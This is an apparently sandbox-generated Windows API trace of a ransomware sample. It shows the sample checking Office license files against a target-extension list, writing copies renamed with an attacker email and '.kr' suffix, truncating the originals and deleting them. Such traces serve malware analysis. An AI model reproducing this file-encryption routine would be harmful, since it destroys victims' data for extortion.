[0206.619] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0206.619] lstrlenW (lpString=".dbf") returned 4 [0206.619] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0206.619] lstrlenW (lpString=".1cd") returned 4 [0206.619] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0206.619] lstrlenW (lpString=".jpg") returned 4 [0206.620] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0206.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0206.620] lstrlenW (lpString=".doc") returned 4 [0206.620] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.620] lstrlenW (lpString=".docx") returned 5 [0206.620] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.620] lstrlenW (lpString=".pdf") returned 4 [0206.620] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.620] lstrlenW (lpString=".xls") returned 4 [0206.620] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.620] lstrlenW (lpString=".xlsx") returned 5 [0206.620] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.620] lstrlenW (lpString=".ppt") returned 4 [0206.620] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0206.620] lstrlenW (lpString=".zip") returned 4 [0206.620] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.620] lstrlenW (lpString=".rar") returned 4 [0206.620] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.620] lstrlenW (lpString=".bz2") returned 4 [0206.620] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.620] lstrlenW (lpString=".7z") returned 3 [0206.620] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0206.620] lstrlenW (lpString=".dbf") returned 4 [0206.620] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0206.620] lstrlenW (lpString=".1cd") returned 4 [0206.620] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0206.620] lstrlenW (lpString=".jpg") returned 4 [0206.620] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.621] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.621] lstrlenW (lpString="O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 45 [0206.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.621] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11671) returned 1 [0206.622] CloseHandle (hObject=0x3ec) returned 1 [0206.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms")) returned 0x220 [0206.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.622] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.622] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0206.623] GetLastError () returned 0x0 [0206.623] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d97, lpOverlapped=0x0) returned 1 [0206.893] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2da0, lpOverlapped=0x0) returned 1 [0206.894] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.894] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x12e, lpOverlapped=0x0) returned 1 [0206.895] SetEndOfFile (hFile=0x450) returned 1 [0207.132] CloseHandle (hObject=0x450) returned 1 [0207.132] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.132] SetEndOfFile (hFile=0x3ec) returned 1 [0207.165] CloseHandle (hObject=0x3ec) returned 1 [0207.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms")) returned 1 [0207.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0207.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0207.167] lstrlenW (lpString=".doc") returned 4 [0207.167] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.167] lstrlenW (lpString=".docx") returned 5 [0207.167] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.167] lstrlenW (lpString=".pdf") returned 4 [0207.167] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.167] lstrlenW (lpString=".xls") returned 4 [0207.167] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.167] lstrlenW (lpString=".xlsx") returned 5 [0207.167] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.167] lstrlenW (lpString=".ppt") returned 4 [0207.167] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0207.167] lstrlenW (lpString=".zip") returned 4 [0207.167] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.167] lstrlenW (lpString=".rar") returned 4 [0207.167] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.167] lstrlenW (lpString=".bz2") returned 4 [0207.167] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.167] lstrlenW (lpString=".7z") returned 3 [0207.167] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0207.167] lstrlenW (lpString=".dbf") returned 4 [0207.167] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0207.167] lstrlenW (lpString=".1cd") returned 4 [0207.167] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0207.167] lstrlenW (lpString=".jpg") returned 4 [0207.167] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0207.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0207.168] lstrlenW (lpString=".doc") returned 4 [0207.168] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.168] lstrlenW (lpString=".docx") returned 5 [0207.168] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.168] lstrlenW (lpString=".pdf") returned 4 [0207.168] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.168] lstrlenW (lpString=".xls") returned 4 [0207.168] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.168] lstrlenW (lpString=".xlsx") returned 5 [0207.168] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.168] lstrlenW (lpString=".ppt") returned 4 [0207.168] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0207.168] lstrlenW (lpString=".zip") returned 4 [0207.168] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.168] lstrlenW (lpString=".rar") returned 4 [0207.168] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.168] lstrlenW (lpString=".bz2") returned 4 [0207.168] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.168] lstrlenW (lpString=".7z") returned 3 [0207.168] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0207.168] lstrlenW (lpString=".dbf") returned 4 [0207.168] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0207.168] lstrlenW (lpString=".1cd") returned 4 [0207.168] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0207.168] lstrlenW (lpString=".jpg") returned 4 [0207.168] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.169] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0207.169] lstrlenW (lpString="O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 41 [0207.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0207.169] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11655) returned 1 [0207.169] CloseHandle (hObject=0x3ec) returned 1 [0207.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms")) returned 0x220 [0207.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0207.170] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.170] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0207.171] GetLastError () returned 0x0 [0207.171] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d87, lpOverlapped=0x0) returned 1 [0207.173] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d90, lpOverlapped=0x0) returned 1 [0207.174] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.174] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x126, lpOverlapped=0x0) returned 1 [0207.174] SetEndOfFile (hFile=0x450) returned 1 [0207.174] CloseHandle (hObject=0x450) returned 1 [0207.174] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.174] SetEndOfFile (hFile=0x3ec) returned 1 [0207.177] CloseHandle (hObject=0x3ec) returned 1 [0207.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms")) returned 1 [0207.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0207.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0207.178] lstrlenW (lpString=".doc") returned 4 [0207.178] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.178] lstrlenW (lpString=".docx") returned 5 [0207.178] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.178] lstrlenW (lpString=".pdf") returned 4 [0207.178] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.178] lstrlenW (lpString=".xls") returned 4 [0207.178] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.178] lstrlenW (lpString=".xlsx") returned 5 [0207.178] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.178] lstrlenW (lpString=".ppt") returned 4 [0207.178] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0207.178] lstrlenW (lpString=".zip") returned 4 [0207.178] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.178] lstrlenW (lpString=".rar") returned 4 [0207.178] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.178] lstrlenW (lpString=".bz2") returned 4 [0207.179] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.179] lstrlenW (lpString=".7z") returned 3 [0207.179] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0207.179] lstrlenW (lpString=".dbf") returned 4 [0207.179] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0207.179] lstrlenW (lpString=".1cd") returned 4 [0207.179] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0207.179] lstrlenW (lpString=".jpg") returned 4 [0207.179] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0207.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0207.179] lstrlenW (lpString=".doc") returned 4 [0207.179] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0207.179] lstrlenW (lpString=".docx") returned 5 [0207.179] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0207.179] lstrlenW (lpString=".pdf") returned 4 [0207.179] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0207.179] lstrlenW (lpString=".xls") returned 4 [0207.179] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0207.179] lstrlenW (lpString=".xlsx") returned 5 [0207.179] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0207.179] lstrlenW (lpString=".ppt") returned 4 [0207.179] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0207.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0207.179] lstrlenW (lpString=".zip") returned 4 [0207.179] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0207.179] lstrlenW (lpString=".rar") returned 4 [0207.179] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0207.179] lstrlenW (lpString=".bz2") returned 4 [0207.180] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0207.180] lstrlenW (lpString=".7z") returned 3 [0207.180] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0207.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0207.180] lstrlenW (lpString=".dbf") returned 4 [0207.180] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0207.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0207.180] lstrlenW (lpString=".1cd") returned 4 [0207.180] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0207.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0207.180] lstrlenW (lpString=".jpg") returned 4 [0207.180] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0207.180] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0207.180] lstrlenW (lpString="O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 37 [0207.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0207.181] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11199) returned 1 [0207.181] CloseHandle (hObject=0x3ec) returned 1 [0207.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms")) returned 0x220 [0207.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0207.181] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.181] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0207.182] GetLastError () returned 0x0 [0207.182] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0207.185] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0207.186] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.186] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0207.186] SetEndOfFile (hFile=0x450) returned 1 [0207.186] CloseHandle (hObject=0x450) returned 1 [0207.186] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.186] SetEndOfFile (hFile=0x3ec) returned 1 [0207.189] CloseHandle (hObject=0x3ec) returned 1 [0207.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms")) returned 1 [0207.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0207.190] lstrlenW 